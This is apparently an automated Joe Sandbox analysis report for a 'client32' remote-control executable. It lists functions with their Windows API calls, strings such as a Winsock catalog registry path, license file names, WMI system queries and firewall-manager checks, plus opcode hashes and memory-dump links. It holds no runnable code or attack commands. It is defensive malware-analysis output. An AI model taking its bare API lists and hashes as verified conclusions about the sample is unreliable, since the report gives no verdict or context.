Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Library$AddressCloseDefaultFreeLangLoadOpenProcSystemVersion_memset
String ID: GetUserDefaultUILanguage$kernel32.dll
API String ID: 4251163631-545709139
Opcode ID: d16ef3f8451e0833cf110c528b048f63f93f72395641363cf9238af7566ccf25
Instruction ID: 3f0f124d44211a8ad3fb9d67620e20a9ac0b69379346808ac7e8dd1e07daf2e5
Opcode Fuzzy Hash: d16ef3f8451e0833cf110c528b048f63f93f72395641363cf9238af7566ccf25
Instruction Fuzzy Hash: 8731C370E00229CFDB21DFB5CA84B9AF7B4EB45B1CF640575D829D3A85CB744984CB51

Function 110155C0 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 128registryCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 1101567A
_memset.LIBCMT ref: 110156BE
RegQueryValueExA.KERNEL32(?,PackedCatalogItem,00000000,?,?,?,?,?,00020019), ref: 110156F8

Strings

NSLSP, xrefs: 11015708
SYSTEM\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries, xrefs: 110155FB
PackedCatalogItem, xrefs: 110156E2
%012d, xrefs: 11015674

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: QueryValue_memsetwsprintf
String ID: %012d$NSLSP$PackedCatalogItem$SYSTEM\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries
API String ID: 1333399081-1346142259
Opcode ID: 84934bdfb91b7ebcf4e6f2c3203863e6180bcc70d996f63089e2766c34812b78
Instruction ID: a64b799103adf9c135d53574b09e6be9cb50a11e46eb2186d5edb4ec0545667f
Opcode Fuzzy Hash: 84934bdfb91b7ebcf4e6f2c3203863e6180bcc70d996f63089e2766c34812b78
Instruction Fuzzy Hash: 70419E71D022699EEB10DF64DD94BDEF7B8EB04314F0445E8D819A7281EB34AB48CF90

Function 11010140 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 102COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 1101016D
std::_Lockit::_Lockit.LIBCPMT ref: 11010190
std::bad_exception::bad_exception.LIBCMT ref: 11010214
__CxxThrowException@8.LIBCMT ref: 11010222
std::_Lockit::_Lockit.LIBCPMT ref: 11010235
std::locale::facet::_Facet_Register.LIBCPMT ref: 1101024F

Strings

bad cast, xrefs: 1101020C

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: LockitLockit::_std::_$Exception@8Facet_RegisterThrowstd::bad_exception::bad_exceptionstd::locale::facet::_
String ID: bad cast
API String ID: 2427920155-3145022300
Opcode ID: 0888c3559ae941ddfd3a65509c7b8561ae704fbfc828ce88d4b35523d1ba3580
Instruction ID: 8605f433ca934ff223fddf63d9ff4cd14790153354e7e9eb7327a23900883db8
Opcode Fuzzy Hash: 0888c3559ae941ddfd3a65509c7b8561ae704fbfc828ce88d4b35523d1ba3580
Instruction Fuzzy Hash: 5631F975E00256DFCB05DFA4C880BDEF7B8FB05328F440169D866AB288DB79E904CB91

Function 111457A0 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 146COMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,11195AD8), ref: 1114580D
SHGetFolderPathA.SHFOLDER(00000000,00000026,00000000,00000000,?,1111025B), ref: 1114584E
SHGetFolderPathA.SHFOLDER(00000000,0000001A,00000000,00000000,?), ref: 111458AB

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Strings

..\ctl32\util.cpp, xrefs: 111457C7, 11145869
nsmdir < GP_MAX, xrefs: 111457CC
FALSE || !"wrong nsmdir", xrefs: 1114586E

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: FolderPath$ErrorExitFileLastMessageModuleNameProcesswsprintf
String ID: ..\ctl32\util.cpp$FALSE || !"wrong nsmdir"$nsmdir < GP_MAX
API String ID: 3494822531-1878648853
Opcode ID: 1e9a8547f1a4d8db54bad5cbccf33acd14b41b9136434f7006fca57feb396e97
Instruction ID: 9d2f35c0ca678663173c9787aa50c950699104b7f99c1a06bf1b906e54d037ce
Opcode Fuzzy Hash: 1e9a8547f1a4d8db54bad5cbccf33acd14b41b9136434f7006fca57feb396e97
Instruction Fuzzy Hash: F3515E76D0422E9BEB15CF24DC50BDDF7B4AF15708F6001A4DC897B681EB716A88CB91

Function 1102A6D0 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 101COMMON

Download Yara Rule

APIs

IsJPIK.PCICHEK(AB86ACF8,NSM.LIC,?,1102F092,View,Client,Bridge), ref: 1102A6F6

Part of subcall function 111101B0: _malloc.LIBCMT ref: 111101C9
Part of subcall function 111101B0: wsprintfA.USER32 ref: 111101E4
Part of subcall function 111101B0: _memset.LIBCMT ref: 11110207

Part of subcall function 110D0A10: _free.LIBCMT ref: 110D0A3D

Strings

NSM.LIC, xrefs: 1102A6E4
IKS, xrefs: 1102A787
_License, xrefs: 1102A778
iks.lic, xrefs: 1102A740
Serial_no, xrefs: 1102A773

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: _free_malloc_memsetwsprintf
String ID: IKS$NSM.LIC$Serial_no$_License$iks.lic
API String ID: 2814900446-469156069
Opcode ID: 6b90f5a91e0e8404fc851c8f10d2236098875013011e5de61ca2dd828f746a24
Instruction ID: 268b58c6f7511c145cb41d8ae554306eba274149ba0ed4ca5467e6687dcac3b5
Opcode Fuzzy Hash: 6b90f5a91e0e8404fc851c8f10d2236098875013011e5de61ca2dd828f746a24
Instruction Fuzzy Hash: 8931AF35E01729ABDB00CFA8CC81BEEFBF4AB49714F104299E826A72C0DB756940C791

Function 110178F0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 71synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(00000318,000000FF), ref: 1101792C
CoInitialize.OLE32(00000000), ref: 11017935
_GetRawWMIStringW@16.PCICL32(Win32_ComputerSystem,00000001,?,?), ref: 1101795C
CoUninitialize.OLE32 ref: 110179C0

Strings

PCSystemTypeEx, xrefs: 1101796C
Win32_ComputerSystem, xrefs: 1101794D

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: InitializeObjectSingleStringUninitializeW@16Wait
String ID: PCSystemTypeEx$Win32_ComputerSystem
API String ID: 2407233060-578995875
Opcode ID: 0942cf205f413e43a7dce2a9957458248f39d685d8b5fb2cae19ac9a1649f750
Instruction ID: 979ee595df3e366e36f6db43f9274242a875182caa54ddfda208ac7f01cc4ef4
Opcode Fuzzy Hash: 0942cf205f413e43a7dce2a9957458248f39d685d8b5fb2cae19ac9a1649f750
Instruction Fuzzy Hash: BE213EB5D0166A9FDB11CFA48C40BBAB7E99F4170CF0000B4EC59DB188EB79D544D791

Function 11017810 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 70synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(00000318,000000FF), ref: 11017842
CoInitialize.OLE32(00000000), ref: 1101784B
_GetRawWMIStringW@16.PCICL32(Win32_SystemEnclosure,00000001,?,?), ref: 11017872
CoUninitialize.OLE32 ref: 110178D0

Strings

Win32_SystemEnclosure, xrefs: 11017863
ChassisTypes, xrefs: 11017882

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: InitializeObjectSingleStringUninitializeW@16Wait
String ID: ChassisTypes$Win32_SystemEnclosure
API String ID: 2407233060-2037925671
Opcode ID: 645120171e4998cce48753e45b0062292f56c9bef21460c25a07f93c3742c313
Instruction ID: 35f99737241494c501e89beb979cd88c9c6eddc8ed8b09fe319fdcc96c080ea2
Opcode Fuzzy Hash: 645120171e4998cce48753e45b0062292f56c9bef21460c25a07f93c3742c313
Instruction Fuzzy Hash: D7210875D4112A9BD711CFA4CD40BAEBBE89F40309F0000A4EC29DB244EE75D910C7A0

Function 11139600 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 68COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 1113962A
GetTickCount.KERNEL32 ref: 11139631

Strings

DoICFConfig() OK, xrefs: 111396D6
AutoICFConfig, xrefs: 11139650
DesktopTimerProc - Further ICF config checking will not be performed, xrefs: 111396EC
Client, xrefs: 11139655

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CountTick
String ID: AutoICFConfig$Client$DesktopTimerProc - Further ICF config checking will not be performed$DoICFConfig() OK
API String ID: 536389180-1512301160
Opcode ID: e88b596b7c5c4cd1ec5207dbc2eaab29f042a609f248b0ca23653edaa92bfa31
Instruction ID: a12453e9faa0d912da9f55e5525ca7a81223e7cd1b6d2efb44fc6fc6c8488c0a
Opcode Fuzzy Hash: e88b596b7c5c4cd1ec5207dbc2eaab29f042a609f248b0ca23653edaa92bfa31
Instruction Fuzzy Hash: 2B21277CA262AF4AFB12CE75DED4791FA92278232EF010178D515862CCFBB49448CF46

Function 11096D90 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 58comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 11096DA4
CLSIDFromProgID.OLE32(HNetCfg.FwMgr,?,?,?,?,?,?,?,111385EB), ref: 11096DBE
CoCreateInstance.OLE32(?,00000000,00000001,111C1B4C,?,?,?,?,?,?,?,111385EB), ref: 11096DDB
CoUninitialize.OLE32(?,?,?,?,?,?,111385EB), ref: 11096DF9

Strings

ICF Present: , xrefs: 11096E00
HNetCfg.FwMgr, xrefs: 11096DB9

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CreateFromInitializeInstanceProgUninitialize
String ID: HNetCfg.FwMgr$ICF Present:
API String ID: 3222248624-258972079
Opcode ID: 2f37d598b4012c0c7ec1fc3c7a41f1831d77099e3c9549bb0708a0a7a71d465f
Instruction ID: 9199824aa3bd6ebf99e58618a68c234682766c17c5e3bd8f83aabb27c1d0aea9
Opcode Fuzzy Hash: 2f37d598b4012c0c7ec1fc3c7a41f1831d77099e3c9549bb0708a0a7a71d465f
Instruction Fuzzy Hash: BC11C235F4111DABC700EFA59C84EEFFF789F44705B500468E51ADB104EA25A980C7E1

Function 110262F0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 54libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(00000000,GetProcessImageFileNameA), ref: 11026306
K32GetProcessImageFileNameA.KERNEL32(?,00000000,11030983,00000000,?,?,?,11030983,00000000,?,00000208), ref: 11026322
GetProcAddress.KERNEL32(?,GetModuleFileNameExA), ref: 11026336
SetLastError.KERNEL32(00000078,00000000,?,?,?,11030983,00000000,?,00000208), ref: 11026359

Strings

GetProcessImageFileNameA, xrefs: 11026300
GetModuleFileNameExA, xrefs: 11026330

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: AddressProc$ErrorFileImageLastNameProcess
String ID: GetModuleFileNameExA$GetProcessImageFileNameA
API String ID: 4186647306-532032230
Opcode ID: 168c0276823b5447779d0ea544bca84f700d76740b4f854a777d5a44096f3b0a
Instruction ID: 183e1746e0b9fc2934bd9ec846e99aaf72a90bbb460a81bb2001b4ad07131d97
Opcode Fuzzy Hash: 168c0276823b5447779d0ea544bca84f700d76740b4f854a777d5a44096f3b0a
Instruction Fuzzy Hash: BE012D72A41319ABE720DEA5EC44F4BB7E8EB88765F40452AF955D7600D630E8048BA0

Function 11110040 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 52synchronizationthreadCOMMON

Download Yara Rule

APIs

CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,00000000,76EEC3F0,00000000,?,11110F55,11110AF0,00000001,00000000), ref: 11110057
CreateThread.KERNEL32(00000000,11110F55,00000001,00000000,00000000,0000000C), ref: 1111007A
WaitForSingleObject.KERNEL32(?,000000FF,?,11110F55,11110AF0,00000001,00000000,?,?,?,?,?,11031700), ref: 111100A7
FindCloseChangeNotification.KERNEL32(?,?,11110F55,11110AF0,00000001,00000000,?,?,?,?,?,11031700), ref: 111100B1

Strings

..\ctl32\Refcount.cpp, xrefs: 1111008B
hThread, xrefs: 11110090

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Create$ChangeCloseEventFindNotificationObjectSingleThreadWait
String ID: ..\ctl32\Refcount.cpp$hThread
API String ID: 2579639479-1136101629
Opcode ID: 4687833a1936dd26f91b2846a9cb7115301389be075d2048120d977a93bdefe6
Instruction ID: 76930d23ba1481c48ceb924dc08d7adf498fcac35268297604c83f904cd53e19
Opcode Fuzzy Hash: 4687833a1936dd26f91b2846a9cb7115301389be075d2048120d977a93bdefe6
Instruction Fuzzy Hash: A0018435780715BFF3208EA5CD85F57FBA9DB45765F104138FA259B6C4D670E8048BA0

Function 11032020 Relevance: 9.0, APIs: 1, Strings: 5, Instructions: 28COMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 11032067

Strings

_HW, xrefs: 11032030
_SW, xrefs: 1103203C
562258, xrefs: 1103204E
%s%s%s.bin, xrefs: 11032061
_HF, xrefs: 11032048, 1103204D

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: wsprintf
String ID: %s%s%s.bin$562258$_HF$_HW$_SW
API String ID: 2111968516-3988310630
